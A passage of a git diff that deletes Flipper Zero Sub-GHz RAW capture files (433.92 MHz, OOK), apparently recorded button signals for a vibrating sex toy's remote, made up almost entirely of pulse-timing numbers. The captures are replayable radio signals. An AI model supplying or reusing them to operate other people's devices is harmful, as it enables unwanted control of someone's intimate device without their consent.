-418 449 -818 441 -416 419 -848 441 -386 447 -115588 131 -460 131 -592 99 -134 3147 -98 265 -134 2257 -100 397 -134 1813 -134 231 -100 4439 -134 2581 -66 917 -100 431 -100 97 -68 1291 -132 1599 -66 3715 -64 6103 -66 1121 -132 789 -100 1113 -100 931 -100 2489 -66 1161 -132 2487 -132 1283 -100 1183 -98 497 -100 1225 -68 1663 -66 631 -134 1425 -132 861 -132 1693 -132 501 -66 2369 -68 131 -198 2019 -98 231 -130 65 -66 629 -66 3551 -68 197 -134 4239 -66 1727 -102 6069 -98 1907 -68 297 -66 1059 -230 3469 -100 3455 -68 399 -66 1611 -66 1697 -98 1097 -132 2755 -100 961 -66 1325 -132 533 -132 887 -66 4773 -66 527 -66 361 -100 501 -132 631 -68 499 -164 1095 -100 361 -64 1717 -68 1493 -100 365 -68 265 -66 1767 -132 331 -100 65 -98 5531 -66 2181 -132 1357 -66 1951 -100 1445 -98 595 -66 467 -66 165 -100 997 -66 2813 -100 2613 -100 2989 -68 1189 -66 1933 -66 883 -66 297 -66 165 -68 3551 -66 463 -100 659 -66 3945 -100 1249 -66 1547 -98 163 -100 1995 -68 863 -66 1297 -132 901 -100 1255 -100 431 -102 431 -100 2185 -98 5289 -200 597 -66 133 -98 559 -100 1601 -100 591 -66 1113 -66 1129 -100 1319 -66 1085 -98 163 -98 1543 -68 331 -134 995 -66 865 -98 4015 -100 1225 -98 3433 -66 955 -98 2101 -64 3375 -132 7857 -298 627 -100 2553 -100 561 -100 1021 -66 1415 -228 987 -134 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_1.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_1.sub deleted file mode 100644 index 8307f626f..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_1.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 5717 -66 4371 -66 1625 -66 99 -66 2185 -100 433 -68 65 -802 851 -96 1775 -100 1085 -64 1247 -164 361 -66 2223 -66 859 -66 399 -66 1907 -98 1675 -66 1359 -132 67 -66 1515 -98 1187 -164 1817 -68 1467 -64 499 -100 697 -296 331 -98 465 -66 3347 -100 423 -66 853 -132 67 -98 561 -100 2001 -134 2055 -66 693 -66 787 -132 229 -166 363 -66 891 -166 165 -66 1919 -130 65 -98 1249 -98 2475 -100 621 -66 18671 -100 1487 -68 1755 -68 1263 -264 595 -66 2615 -98 167 -366 463 -66 2991 -98 333 -166 2599 -98 163 -66 1605 -164 589 -66 1049 -132 1317 -98 2407 -130 3199 -66 3783 -98 2869 -100 3115 -66 1453 -66 259 -132 97 -66 1875 -66 1663 -136 1293 -100 5771 -100 429 -132 2411 -164 4495 -66 3503 -198 655 -98 2633 -100 361 -66 97 -98 329 -98 3739 -130 501 -232 231 -100 425 -164 1659 -100 1825 -100 1541 -100 1127 -66 2119 -134 761 -164 859 -68 627 -134 1467 -66 1595 -100 1889 -132 1325 -100 531 -100 1323 -298 6139 -66 829 -98 2965 -66 493 -66 5987 -198 1645 -262 2429 -66 4567 -100 651 -100 1595 -66 1761 -66 333 -66 1069 -98 997 -98 295 -134 263 -98 2365 -66 427 -100 2895 -100 429 -68 729 -66 429 -100 631 -132 2521 -166 231 -66 623 -100 983 -132 763 -100 1791 -66 197 -66 869 -100 2789 -66 663 -198 1093 -132 1519 -100 631 -66 1217 -100 791 -66 2653 -164 165 -132 99 -132 99 -164 1905 -198 557 -66 1879 -164 3375 -66 1249 -66 887 -66 657 -100 3887 -66 195 -66 2971 -66 565 -66 5377 -68 427 -164 201 -66 233 -134 1061 -102 1489 -66 5955 -100 899 -68 3779 -134 965 -166 367 -98 1187 -66 625 -66 885 -66 3755 -872 99 -100 167 -874 423 -874 97 -94 181 -864 415 -884 169 -70 181 -860 381 -846 265 -862 1529 -66 63 -434 415 -450 397 -412 309 -70 445 -416 411 -444 413 -410 419 -850 413 -886 387 -444 415 -410 439 -418 417 -846 437 -418 413 -418 441 -410 417 -846 417 -860 415 -418 443 -846 411 -418 445 -846 413 -418 415 -846 437 -388 445 -844 405 -846 453 -818 421 -840 447 -846 413 -846 417 -836 413 -854 425 -840 419 -882 1663 -408 457 -386 445 -414 451 -402 409 -446 411 -410 455 -846 385 -440 433 -420 415 -416 409 -438 445 -420 425 -852 387 -446 415 -406 443 -418 417 -850 437 -848 419 -418 411 -852 415 -442 411 -844 427 -410 449 -846 405 -424 443 -848 405 -850 415 -888 387 -870 413 -846 413 -844 425 -848 415 -866 413 -834 441 -856 1681 -420 409 -446 411 -412 421 -424 445 -414 409 -438 415 -850 -RAW_Data: 437 -430 417 -418 415 -410 457 -388 445 -416 439 -840 419 -418 453 -402 425 -410 415 -874 399 -858 419 -418 439 -842 419 -418 441 -824 451 -414 407 -866 421 -416 411 -852 451 -840 401 -848 447 -820 421 -870 409 -868 419 -848 405 -882 387 -854 421 -874 1677 -418 445 -418 415 -412 421 -446 413 -418 433 -428 407 -846 427 -428 407 -416 447 -428 399 -436 417 -414 419 -884 389 -446 383 -452 393 -450 409 -852 413 -854 395 -436 415 -846 437 -430 387 -874 411 -418 395 -868 417 -420 437 -864 417 -846 403 -882 385 -884 389 -874 411 -846 411 -848 423 -852 413 -868 381 -876 1691 -414 409 -470 383 -448 391 -448 407 -426 409 -446 417 -856 409 -448 381 -448 411 -444 385 -476 393 -428 407 -876 395 -442 413 -418 409 -442 417 -880 401 -862 417 -416 411 -848 413 -416 443 -850 411 -418 409 -880 413 -448 381 -878 411 -844 427 -854 413 -836 411 -884 413 -836 411 -844 425 -882 383 -882 387 -876 1661 -446 409 -434 323 -520 427 -430 407 -418 443 -420 397 -862 417 -420 139 -70 211 -440 395 -468 381 -444 193 -62 159 -424 411 -876 395 -424 443 -414 409 -440 415 -846 407 -890 383 -448 411 -848 413 -416 415 -878 413 -418 415 -848 439 -418 413 -121724 133 -888 165 -796 97 -498 65 -530 165 -630 163 -132 525 -362 99 -294 99 -230 2989 -132 329 -100 10007 -66 397 -64 1647 -134 863 -98 687 -64 1473 -100 161 -66 923 -100 331 -166 327 -132 65 -100 329 -200 133 -66 597 -100 197 -132 293 -66 789 -66 831 -66 3687 -66 1023 -232 1889 -134 959 -134 4539 -98 559 -134 165 -66 1325 -100 1161 -100 2827 -100 2473 -266 1781 -100 1051 -98 427 -66 2263 -130 3317 -66 627 -66 3031 -66 793 -100 527 -132 10075 -98 1923 -66 297 -66 1293 -66 13549 -98 333 -98 999 -166 131 -66 265 -98 299 -132 1847 -66 1093 -264 431 -198 789 -194 1119 -132 2069 -132 327 -132 263 -262 489 -64 2103 -66 987 -66 525 -66 767 -66 2761 -66 565 -100 729 -100 2449 -166 2477 -100 1259 -66 301 -66 331 -66 4143 -66 791 -64 425 -100 1621 -98 231 -102 133 -100 1493 -134 4549 -166 2453 -100 2447 -66 131 -100 265 -66 131 -98 361 -130 429 -264 467 -66 465 -100 1747 -98 797 -66 899 -66 1027 -66 361 -166 1425 -66 959 -100 1857 -100 3611 -168 497 -134 2489 -168 2519 -132 497 -264 1491 -68 2989 -134 265 -68 929 -66 565 -100 165 -264 947 -100 395 -66 2433 -66 2459 -132 165 -98 65 -66 3849 -98 1191 -132 1067 -100 1163 -132 659 -98 501 -164 1529 -66 927 -66 -RAW_Data: 931 -132 235 -66 1751 -100 861 -66 10237 -100 363 -100 363 -166 2721 -134 2411 -100 3375 -66 2985 -100 5197 -64 759 -66 963 -134 565 -100 5137 -66 65 -100 2259 -198 65 -68 463 -264 3467 -98 1813 -66 3605 -132 2337 -98 2705 -100 167 -132 3861 -66 5003 -98 1591 -68 3953 -66 2857 -100 5107 -68 1883 -98 1161 -100 199 -100 2711 -200 2153 -98 4297 -98 3267 -98 65 -134 4215 -66 2547 -68 365 -200 4087 -98 4111 -66 1391 -134 1361 -134 593 -100 2321 -166 329 -100 725 -66 857 -64 527 -134 367 -66 631 -102 165 -100 699 -66 787 -66 729 -68 993 -66 797 -134 593 -68 927 -134 2891 -130 1115 -130 163 -166 591 -66 1197 -66 1319 -66 825 -66 827 -66 893 -100 1129 -100 461 -98 4071 -66 4993 -130 1083 -166 991 -132 8671 -66 457 -66 129 -132 721 -164 921 -300 1685 -66 819 -66 165 -230 921 -64 459 -98 97 -164 461 -298 231 -68 333 -66 623 -100 2311 -98 229 -130 953 -66 5559 -66 595 -100 5887 -100 399 -66 797 -132 1167 -100 797 -100 3893 -66 331 -68 1657 -68 1027 -132 1293 -64 627 -100 627 -102 2289 -66 1267 -168 1627 -166 2947 -64 1285 -100 4943 -98 397 -66 133 -66 199 -100 993 -66 167 -66 731 -132 2231 -66 1291 -134 1627 -66 629 -66 499 -98 4191 -66 831 -134 563 -328 967 -200 1497 -66 4643 -66 557 -66 1117 -100 599 -100 929 -66 399 -198 97 -68 2317 -66 1681 -98 2069 -132 527 -134 1031 -66 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_2.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_2.sub deleted file mode 100644 index 74055fcb1..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_2.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 963 -66 2813 -66 895 -66 995 -66 895 -100 2817 -66 723 -77 2811 -132 1381 -66 2879 -68 497 -134 467 -98 963 -100 695 -166 5887 -66 1193 -66 931 -134 1261 -66 1657 -66 333 -100 2155 -66 5269 -66 1787 -100 1249 -100 195 -66 4317 -66 199 -66 331 -68 1063 -232 1761 -98 1391 -134 133 -100 2747 -66 461 -100 297 -66 499 -66 4941 -132 565 -100 197 -66 2535 -66 361 -64 195 -66 625 -166 195 -66 521 -66 11367 -66 3521 -134 1755 -66 929 -198 131 -64 733 -66 1149 -64 1085 -66 1411 -100 1127 -202 595 -66 265 -66 401 -68 3195 -66 787 -98 4405 -66 2181 -98 65 -100 165 -100 1955 -68 1495 -66 9409 -66 1001 -100 2777 -100 2627 -134 1155 -100 265 -134 499 -66 1225 -132 1361 -66 3219 -66 499 -66 2497 -66 3129 -294 197 -66 397 -66 935 -66 167 -166 265 -168 1759 -100 7947 -234 1929 -264 695 -132 1743 -66 1323 -100 1327 -66 1295 -134 2331 -66 3767 -66 99 -200 1257 -66 2151 -166 965 -100 197 -168 1391 -100 597 -100 65 -68 529 -66 1819 -100 1391 -100 2229 -66 5905 -166 231 -134 465 -66 399 -132 4383 -68 727 -66 729 -100 961 -132 599 -66 3455 -100 365 -66 3583 -100 2123 -166 1297 -66 1977 -66 5359 -68 961 -66 2995 -134 327 -66 1053 -98 2427 -100 1127 -100 961 -66 329 -98 751 -198 627 -68 3729 -100 1193 -134 2045 -68 265 -66 463 -100 65 -100 565 -98 231 -66 1979 -66 299 -232 11317 -66 1895 -98 163 -66 687 -98 529 -98 1315 -66 627 -66 1549 -64 427 -100 131 -262 499 -136 1099 -134 1559 -100 1293 -98 767 -66 3451 -66 1053 -268 165 -68 1227 -98 3839 -100 731 -100 1693 -66 397 -100 3307 -100 163 -66 3189 -66 561 -68 333 -98 2437 -98 6151 -66 665 -98 1265 -98 603 -100 4439 -134 299 -68 497 -132 793 -132 665 -66 1657 -132 597 -164 7767 -166 3353 -66 3085 -66 391 -198 4785 -66 2453 -134 3223 -66 165 -66 2681 -64 785 -66 1021 -64 1319 -66 2747 -98 2891 -66 1459 -100 261 -100 865 -100 693 -98 3847 -98 393 -66 1119 -64 3123 -130 2349 -100 3119 -100 233 -66 1159 -100 161 -262 657 -130 625 -66 663 -132 755 -66 3213 -98 2073 -98 491 -66 2733 -66 1725 -68 2047 -66 3521 -66 559 -98 2965 -98 987 -66 557 -130 1883 -100 2231 -98 7303 -68 265 -66 467 -100 961 -132 965 -98 265 -100 1001 -66 4143 -66 869 -132 635 -68 1397 -98 2023 -100 2723 -98 131 -64 9071 -66 423 -100 327 -98 1755 -68 827 -66 229 -64 2679 -66 1953 -66 97 -66 327 -166 391 -66 1741 -100 2023 -98 2495 -102 1825 -66 731 -98 -RAW_Data: 2111 -66 2093 -66 465 -66 5069 -66 263 -260 4847 -100 961 -100 3435 -98 833 -100 697 -66 497 -132 4631 -852 421 -844 399 -880 385 -854 423 -872 383 -852 437 -846 425 -854 1671 -450 415 -410 421 -424 445 -416 409 -436 417 -448 387 -852 425 -444 383 -448 427 -416 407 -422 443 -416 407 -856 447 -416 413 -422 411 -446 417 -868 379 -882 395 -436 417 -846 405 -456 387 -876 411 -418 413 -876 417 -424 411 -840 417 -848 437 -848 425 -852 415 -866 413 -844 407 -884 383 -876 399 -880 385 -868 1669 -450 385 -444 425 -426 441 -416 411 -438 387 -446 415 -852 425 -440 383 -450 393 -450 411 -426 443 -842 405 -424 441 -414 417 -430 395 -868 417 -420 439 -824 417 -446 421 -854 411 -416 445 -846 411 -418 449 -848 411 -420 415 -848 437 -846 421 -854 381 -886 397 -866 417 -848 433 -846 419 -836 413 -854 423 -840 1715 -386 447 -416 409 -440 415 -418 417 -442 407 -446 409 -866 417 -416 413 -422 409 -448 415 -408 437 -844 423 -416 411 -424 443 -414 411 -850 415 -414 449 -854 411 -420 415 -846 441 -418 417 -846 435 -388 443 -842 405 -442 413 -840 441 -846 387 -886 387 -876 409 -854 415 -846 427 -854 413 -856 423 -840 415 -876 1671 -418 433 -428 439 -382 445 -418 417 -448 387 -446 413 -854 427 -410 199 -396 417 -416 417 -452 303 -950 415 -452 405 -424 443 -414 413 -848 349 -508 419 -842 439 -450 377 -848 415 -416 445 -846 415 -418 417 -880 413 -418 415 -846 439 -846 419 -820 421 -874 409 -868 419 -844 433 -814 415 -862 409 -850 409 -870 1705 -416 417 -416 441 -396 421 -446 415 -418 433 -394 439 -842 423 -410 447 -414 407 -436 415 -418 417 -888 385 -446 415 -420 429 -418 413 -854 413 -416 437 -850 413 -420 433 -822 441 -420 427 -854 409 -416 455 -814 415 -452 409 -850 411 -856 425 -838 421 -848 441 -848 421 -820 421 -876 413 -842 415 -840 429 -852 1701 -420 383 -454 427 -396 439 -414 447 -416 407 -448 411 -836 441 -418 417 -418 437 -426 441 -382 445 -850 415 -418 417 -418 437 -428 415 -848 413 -422 439 -850 411 -420 425 -840 439 -430 387 -872 407 -440 417 -850 409 -418 451 -113004 267 -166 99 -832 65 -100 193 -360 329 -130 131 -132 163 -100 723 -66 1965 -100 495 -66 1527 -166 133 -66 1823 -66 1843 -132 395 -64 5001 -98 1295 -66 799 -100 263 -98 919 -100 1911 -64 361 -98 2829 -100 425 -196 293 -100 623 -66 821 -100 6649 -66 1027 -98 2779 -396 233 -166 2173 -64 131 -100 327 -64 2037 -132 1423 -66 -RAW_Data: 4449 -66 2181 -66 995 -66 1095 -100 131 -68 529 -66 5871 -66 5303 -66 9525 -98 3573 -98 261 -98 195 -98 3831 -66 3389 -64 1913 -64 4873 -164 855 -130 99 -66 197 -98 1875 -66 3105 -166 4225 -66 5871 -66 755 -130 3227 -66 10483 -66 11155 -102 1525 -100 1181 -166 2047 -200 1393 -68 297 -68 331 -68 927 -100 3547 -394 163 -164 1577 -66 197 -66 1645 -66 1351 -100 2455 -100 2525 -68 333 -100 1521 -66 231 -194 2991 -66 1615 -100 793 -100 531 -100 3051 -98 1579 -68 2269 -66 165 -100 3033 -66 897 -98 6899 -98 1319 -66 167 -66 231 -66 301 -100 1561 -132 131 -134 861 -100 667 -198 2867 -66 1547 -130 495 -100 99 -100 1227 -130 1311 -66 229 -132 2127 -66 1165 -66 2121 -134 97 -98 6107 -66 1097 -66 993 -66 629 -102 1757 -66 229 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_3.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_3.sub deleted file mode 100644 index 5d5cf6936..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_3.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -232 2803 -66 2211 -100 2477 1577 2483 -100 663 -66 165 -66 995 -66 1709 -98 2435 -166 7341 -68 2693 -68 433 -100 1689 -100 731 -68 827 -132 233 -64 1827 -66 1323 -66 9217 -68 363 -102 561 -100 1557 -98 757 -66 889 -66 663 -132 589 -66 597 -68 1351 -66 265 -168 201 -102 459 -132 199 -100 3385 -68 2651 -66 2727 -66 1065 -298 433 -66 2701 -66 1741 -134 1123 -98 8331 -66 2085 -98 1673 -68 197 -166 1127 -98 2397 -98 4115 -230 629 -66 2791 -66 2975 -100 5401 -98 3287 -132 1807 -196 1095 -132 2213 -66 1641 -66 4407 -100 2385 -98 555 -66 293 -98 981 -66 3901 -98 731 -330 1229 -130 131 -66 1131 -66 401 -100 1491 -66 855 -66 923 -66 2075 -98 2391 -198 2693 -66 8783 -66 691 -100 893 -100 567 -100 1717 -66 4057 -132 1295 -100 3917 -98 459 -100 961 -66 3999 -100 2717 -132 163 -100 1807 -66 625 -132 165 -66 397 -98 735 -66 467 -100 165 -102 231 -266 11403 -66 3485 -198 3489 -66 2721 -66 529 -66 227 -66 7281 -98 3049 -66 831 -66 1825 -66 1559 -66 1755 -66 993 -100 331 -64 1557 -132 2591 -66 1493 -132 4187 -98 921 -98 3563 -66 831 -68 561 -66 995 -100 1119 -132 227 -66 1753 -100 1627 -68 1033 -98 1157 -132 1517 -134 431 -100 2019 -66 2261 -134 625 -132 401 -234 1707 -68 1989 -66 99 -166 6781 -66 495 -100 4683 -68 733 -168 1595 -98 301 -66 10789 -68 365 -66 1649 -66 65 -98 1745 -100 67 -166 6839 -66 65 -66 767 -132 329 -132 5197 -98 1601 -66 725 -98 983 -100 131 -66 3575 -100 1227 -98 427 -66 393 -66 2229 -66 593 -164 953 -68 465 -200 727 -100 2829 -128 4965 -68 1021 -134 2391 -66 1493 -66 993 -100 65 -68 6459 -166 7835 -134 529 -68 1391 -66 1259 -66 2801 -132 2405 -98 3911 -66 197 -132 1185 -66 5065 -196 229 -66 1999 -98 991 -64 1973 -132 1513 -132 1709 -132 591 -130 4085 -66 299 -66 265 -66 133 -66 6667 -232 629 -132 365 -100 391 -66 1051 -66 4139 -234 1093 -66 697 -100 10401 -66 499 -66 767 -68 3051 -66 833 -68 863 -68 233 -100 793 -66 1051 -66 3123 -66 533 -100 4685 -264 465 -132 1293 -198 1693 -66 561 -98 465 -100 1059 -100 1319 -98 2281 -202 893 -66 1533 -66 2725 -66 99 -98 3355 -132 1587 -68 6999 -98 3141 -134 633 -66 1357 -66 2171 -98 1085 -68 829 -68 1427 -66 4605 -66 2721 -100 795 -66 265 -130 4685 -166 1195 -100 395 -66 629 -66 597 -68 3125 -846 415 -842 437 -838 427 -856 413 -852 395 -866 415 -876 409 -838 1681 -446 417 -428 405 -414 443 -422 429 -408 417 -RAW_Data: -448 423 -822 417 -448 425 -396 437 -416 445 -416 411 -874 379 -446 411 -444 415 -418 397 -872 413 -440 433 -848 419 -414 409 -850 415 -452 403 -852 413 -418 433 -854 413 -452 399 -854 413 -854 429 -836 417 -850 435 -846 387 -886 385 -876 413 -848 413 -844 425 -850 1699 -420 415 -442 411 -416 415 -454 409 -442 383 -448 393 -888 387 -446 415 -444 395 -424 441 -414 407 -850 447 -846 399 -426 409 -448 411 -848 413 -876 397 -882 383 -444 409 -844 427 -426 407 -878 399 -426 409 -876 401 -426 443 -846 399 -882 383 -854 423 -874 411 -850 413 -844 421 -836 417 -868 413 -836 411 -850 1711 -414 411 -454 379 -446 415 -444 395 -426 443 -416 411 -854 413 -448 409 -434 385 -446 415 -452 401 -854 415 -870 387 -442 385 -450 397 -858 411 -882 397 -870 417 -418 407 -852 449 -416 411 -852 415 -418 415 -882 407 -418 413 -850 407 -882 387 -884 387 -874 411 -846 413 -876 395 -852 413 -870 381 -884 397 -864 1699 -418 415 -452 379 -472 383 -448 389 -450 407 -428 407 -878 395 -424 441 -416 417 -426 411 -446 415 -834 413 -876 417 -422 411 -442 383 -882 399 -864 417 -846 399 -422 443 -846 405 -456 411 -848 403 -454 415 -844 399 -424 443 -846 403 -870 421 -854 413 -852 395 -868 417 -852 403 -872 421 -854 415 -852 393 -870 1705 -418 413 -448 399 -432 417 -448 387 -450 405 -444 413 -844 405 -444 413 -446 397 -432 413 -444 385 -894 411 -868 411 -412 413 -450 409 -872 419 -858 383 -846 437 -432 417 -844 417 -430 395 -864 419 -418 439 -856 415 -418 409 -854 415 -876 395 -848 415 -852 423 -876 409 -850 415 -844 425 -852 415 -854 427 -838 1703 -418 417 -450 409 -442 381 -450 391 -442 411 -448 407 -872 417 -418 409 -452 381 -446 415 -452 403 -852 415 -852 423 -444 413 -410 437 -844 423 -850 387 -878 417 -428 395 -864 419 -420 409 -852 417 -416 411 -880 411 -418 443 -118154 295 -298 65 -298 131 -298 99 -132 65 -200 133 -232 131 -196 131 -66 297 -100 99 -168 1827 -166 5309 -68 1565 -166 631 -66 201 -100 633 -64 3253 -132 65 -68 593 -100 2377 -64 1701 -132 327 -132 165 -68 797 -68 1063 -100 333 -66 2877 -130 721 -100 491 -66 2165 -64 891 -68 3695 -66 1813 -98 133 -66 2565 -100 293 -64 2893 -68 2125 -66 401 -100 3051 -66 459 -100 231 -68 3687 -66 165 -100 2141 -66 3927 -66 3949 -66 1491 -66 3759 -234 697 -264 895 -132 2167 -66 757 -66 557 -66 359 -66 295 -132 8863 -66 4685 -98 463 -100 99 -98 4291 -RAW_Data: -134 535 -132 16671 -100 1825 -100 463 -66 493 -98 491 -130 12079 -66 899 -196 3385 -66 17331 -132 1429 -100 2789 -98 265 -166 261 -66 13699 -98 3139 -64 9237 -66 3783 -66 1525 -100 1595 -134 1525 -98 7003 -66 427 -134 463 -132 987 -64 1487 -100 1095 -100 365 -66 961 -100 133 -200 1089 -66 1913 -98 2733 -130 327 -132 6507 -66 5715 -100 825 -98 491 -98 1973 -100 63 -66 2829 -100 399 -66 2271 -232 957 -66 269 -100 2673 -66 2553 -66 5767 -98 819 -66 4905 -132 627 -164 197 -130 327 -98 1219 -98 1955 -68 533 -66 995 -66 6295 -100 1967 -66 201 -232 893 -66 165 -132 1329 -66 99 -132 1495 -66 2193 -100 861 -66 7207 -100 429 -100 1021 -100 427 -66 523 -64 1289 -66 2131 -66 1521 -134 2189 -98 331 -100 631 -134 1363 -66 1057 -66 1063 -98 1557 -196 2909 -66 263 -100 269 -66 2013 -66 1149 -66 2271 -98 431 -66 297 -100 1595 -66 4959 -64 4129 -64 1051 -66 3369 -66 2549 -100 11697 -98 859 -66 569 -134 861 -66 197 -98 1051 -66 4133 diff --git a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_4.sub b/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_4.sub deleted file mode 100644 index d3cebe209..000000000 --- a/assets/resources/subghz/Misc/Sextoy/Nu_Sensuelle_Vibrating_Mini-Plug/Bp_04_4.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: -230 2581 -164 4337 -66 787 -80 5597 -68 537 -132 329 -100 1285 -132 1791 -100 8193 -100 363 -132 755 -132 1493 -100 3741 -132 569 -64 1795 -166 1665 -132 433 -100 10577 -66 2153 -68 503 -68 1801 -100 1221 -100 2161 -100 861 -100 2621 -166 431 -100 1993 -66 1293 -68 533 -66 895 -98 2649 -100 2523 -66 233 -134 3379 -100 9809 -66 1033 -164 1623 -66 5501 -66 857 -100 695 -98 4445 -66 233 -100 4009 -100 5765 -98 327 -66 1129 -66 3583 -98 1163 -66 1025 -100 1891 -66 599 -100 2627 -132 4075 -132 7425 -134 399 -134 1361 -132 1911 -98 923 -66 1261 -68 2759 -66 3961 -64 8473 -66 363 -98 303 -166 2615 -64 3957 -66 1151 -68 397 -68 2015 -100 3139 -164 2393 -100 327 -98 2663 -98 99 -134 197 -98 1031 -66 3591 -232 1051 -100 4349 -196 3005 -98 2243 -132 99 -66 6693 -132 2349 -98 6449 -64 1257 -98 4847 -66 559 -66 1545 -66 785 -132 657 -66 261 -98 1941 -66 365 -102 565 -134 299 -66 863 -98 827 -98 6831 -66 623 -66 755 -98 3249 -66 1955 -66 165 -66 5463 -66 4895 -134 4805 -66 1807 -100 11631 -98 1021 -98 1215 -100 3097 -100 985 -64 1677 -98 1449 -132 1347 -98 2829 -230 497 -66 1047 -100 3419 -68 1359 -66 2831 -166 393 -98 67 -232 2031 -66 621 -132 3009 -66 199 -100 1397 -66 6901 -100 1249 -66 3479 -164 2907 -66 1627 -66 2047 -66 5807 -66 667 -100 2975 -100 1095 -66 3011 -66 3061 -98 587 -98 1839 -98 195 -164 1483 -132 297 -68 6705 -98 2573 -68 989 -134 689 -68 397 -68 101 -166 895 -100 531 -66 5275 -100 3251 -66 4351 -66 1027 -66 751 -232 329 -100 4855 -132 1001 -100 197 -66 3023 -66 1159 -100 761 -98 199 -132 829 -68 3221 -132 8361 -398 1027 -64 729 -164 195 -100 3825 -100 493 -228 1347 -134 1695 -66 2307 -98 1691 -100 2109 -100 2439 -66 1815 -100 531 -100 2911 -66 1765 -842 419 -854 409 -834 439 -822 435 -860 419 -844 403 -850 413 -854 1707 -434 387 -446 413 -420 433 -398 441 -416 417 -420 433 -860 421 -416 443 -392 441 -418 415 -454 405 -856 411 -856 395 -436 413 -452 425 -818 425 -842 449 -844 417 -416 447 -844 411 -416 451 -814 441 -418 419 -848 439 -388 449 -844 437 -844 385 -888 415 -848 411 -850 417 -842 427 -850 413 -866 409 -866 409 -850 1711 -380 445 -422 425 -412 445 -406 443 -416 419 -416 439 -840 421 -416 411 -424 441 -418 415 -832 441 -418 415 -442 431 -388 449 -842 433 -418 417 -416 441 -838 419 -418 443 -822 419 -416 445 -844 415 -414 447 -846 411 -418 447 -810 439 -844 423 -850 413 -RAW_Data: -856 425 -840 421 -846 437 -846 423 -854 411 -840 409 -878 1667 -446 413 -418 409 -448 415 -408 441 -418 417 -416 441 -840 419 -418 441 -396 453 -416 415 -838 443 -408 437 -416 417 -418 437 -864 417 -414 419 -432 409 -874 407 -432 417 -842 409 -438 417 -848 409 -436 415 -844 409 -436 419 -846 407 -848 449 -842 433 -846 419 -852 419 -846 409 -862 419 -846 435 -846 421 -818 1701 -436 387 -446 415 -420 431 -416 415 -424 445 -414 411 -848 451 -414 407 -434 417 -418 417 -866 409 -418 415 -454 401 -424 441 -810 431 -426 411 -416 445 -846 415 -414 453 -818 443 -416 417 -880 415 -418 417 -844 443 -418 417 -846 437 -844 385 -854 421 -878 421 -854 411 -844 419 -836 415 -856 425 -844 447 -846 1703 -418 405 -396 471 -382 447 -416 409 -450 411 -422 427 -820 411 -446 417 -410 449 -412 407 -864 421 -418 439 -408 415 -418 449 -834 413 -454 403 -424 443 -808 431 -426 445 -844 401 -424 447 -842 431 -388 447 -844 437 -390 447 -846 433 -806 451 -824 443 -822 437 -830 451 -838 429 -836 421 -826 445 -842 425 -840 1701 -416 445 -384 439 -414 445 -420 423 -410 449 -414 407 -870 421 -416 443 -392 441 -418 417 -868 411 -420 427 -410 445 -382 445 -850 415 -416 445 -414 409 -842 453 -390 435 -866 421 -416 411 -852 419 -416 453 -814 443 -416 449 -136614 265 -1130 265 -500 165 -566 99 -200 165 -100 1655 -66 999 -100 65 -98 931 -132 1293 -100 3649 -100 1263 -166 4333 -132 923 -132 263 -100 297 -68 929 -66 697 -132 4019 -66 5755 -68 2649 -130 565 -98 657 -66 6653 -66 1629 -66 733 -100 3337 -66 1295 -200 529 -66 2611 -98 4759 -100 2583 -66 1319 -98 1445 -132 4949 -66 199 -64 689 -168 933 -98 3681 -130 1193 -166 1529 -66 1459 -132 5203 -100 1027 -66 165 -134 827 -132 1647 -66 1225 -68 4179 -68 1923 -98 201 -100 1565 -66 265 -66 1761 -100 1389 -100 4017 -68 1427 -98 951 -98 1051 -68 1359 -66 1745 -66 499 -100 759 -100 3187 -100 2821 -66 2099 -100 929 -130 731 -68 3951 -66 959 -100 4939 -68 4975 -66 5705 -68 6971 -130 1291 -66 591 -164 731 -102 763 -66 1591 -164 2345 -166 817 -66 3621 -68 1327 -198 65 -100 693 -66 7967 -198 197 -66 327 -98 651 -66 1449 -68 2301 -66 949 -100 129 -66 663 -100 2145 -66 1283 -66 3395 -66 2401 -68 393 -66 2379 -68 663 -100 1589 -66 365 -64 3085 -66 267 -100 465 -132 1401 -68 8227 -164 427 -164 3739 -66 463 -66 199 -68 1401 -100 231 -168 1155 -200 165 -100 2153 -98 1131 -68 2307 -RAW_Data: -66 493 -100 885 -164 6889 -132 363 -134 227 -100 3187 -66 1589 -68 997 -68 5599 -98 8091 -68 263 -66 699 -66 523 -196 63 -132 3189 -66 7549 -66 597 -100 2987 -132 799 -166 197 -166 97 -66 695 -134 959 -100 8481 -66 1821 -100 267 -66 4281 -66 2851 -66 3083 -100 199 -132 2583 -66 735 -166 923 -66 823 -132 1625 -102 131 -102 3087 -66 2129 -100 2151 -100 165 -98 8019 -132 